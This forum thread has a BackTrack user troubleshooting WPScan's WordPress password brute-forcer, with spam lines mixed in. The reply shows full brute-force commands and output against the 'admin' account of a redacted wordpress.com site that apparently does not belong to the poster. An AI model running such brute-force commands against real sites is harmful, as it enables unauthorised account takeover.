I apologise, but, in my opinion, you are not right. I am assured. Write to me in PM, we will communicate.
Hello everyone i recently start using the BackTrack linux and as you can assume i still meet some problems and difficulties with some of the tools included in the distribution. So my problem is that i'm trying to brute force a Wordpress site but the brute forcer seems to be frozen, it's staying on 0% for more than an hour, so the commands i used are as follow
NOTE: I have the darkc0de.lst copied to the /pentest/web/wpscan directoryCode:root@bt:/pentest/web/wpscan# ruby wpscan.rb --url http://locahost/wp--wordlist darkc0de.lst --username admin
So looks like the brute forcer is starting without problems but its staying like this for a long period
Everything else is working just fine but that's the problem i can't figure. I was looking for a similar threads but i couldn't find anything usefulCode:[+] Starting the password brute forcer Brute forcing user 'admin' with 1707657 passwords... 0%
I apologise, but, in my opinion, you are not right. I am assured. Write to me in PM, we will communicate.
hi
I state not to be an expert:
try to use the "flag"-v you will see scrolling through the "login attempts" while always having 0% ...
I do not know if it is a bug?
I did a little-test on my [vm] BT5-r3 (kde32) change with a smaller wordlist created by me and saved in / root / and gave me no problems ....
root@bt:/pentest/web/wpscan# ./wpscan.rb --url bxxxxxxxxxxe.wordpress.com --wordlist /root/list.txt --username admin --threads 10
__________________________________________________ __
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_| v2.0r9b14a8d
WordPress Security Scanner by the WPScan Team
Sponsored by the RandomStorm Open Source Initiative
__________________________________________________ ___
| URL: http://bxxxxxxxxxxe.wordpress.com/
| Started on Mon Jan 7 12:31:34 2013
[+] The WordPress theme in use is pub/twentyten
[+] XML-RPC Interface available under http://bxxxxxxxxxe.wordpress.com/xmlrpc.php
[+] Enumerating plugins from passive detection ...
No plugins found
[+] Starting the password brute forcer
Brute forcing user 'admin' with 12212 passwords... 100% complete.
[+] Finished at Mon Jan 7 12:40:24 2013
[+] Elapsed time: 00:08:50
root@bt:/pentest/web/wpscan#
try & bye![]()